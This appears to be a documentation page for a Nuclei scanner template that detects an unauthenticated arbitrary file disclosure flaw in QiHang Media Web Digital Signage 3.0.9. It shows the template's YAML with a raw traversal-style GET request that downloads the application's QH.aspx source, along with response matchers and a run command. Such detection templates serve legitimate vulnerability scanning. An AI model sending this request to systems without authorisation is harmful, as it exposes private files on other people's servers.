QiHang Media Web (QH.aspx) Digital Signage 3.0.9 - Arbitrary File Disclosure
ID: qihang-media-lfi
Severity: high
Author: gy741
Tags: qihang,lfi,disclosure
Description
Section titled “Description”The QiHang Media Web application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources.
YAML Source
Section titled “YAML Source”id: qihang-media-lfi
info: name: QiHang Media Web (QH.aspx) Digital Signage 3.0.9 - Arbitrary File Disclosure author: gy741 severity: high description: The QiHang Media Web application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5581.php classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cwe-id: CWE-22 metadata: max-request: 1 tags: qihang,lfi,disclosure
http: - raw: - | GET /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fQH.aspx HTTP/1.1 Host: {{Hostname}} Connection: close
matchers-condition: and matchers: - type: word part: header words: - "filename=QH.aspx" - "application/zip" condition: and
- type: word words: - "QH.aspx.cs" - "QiHang.Media.Web.QH" condition: and
- type: status status: - 200# digest: 4a0a00473045022100b28ad139a75112d995c5b921e9cfa6746eb7d2816611788211bef3e0e58c65bd02206fb240973b2b069dc0236ce996fbeb490bf1127f6cb5c175d70a83e2d1264f0d:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/qihang-media-lfi.yaml"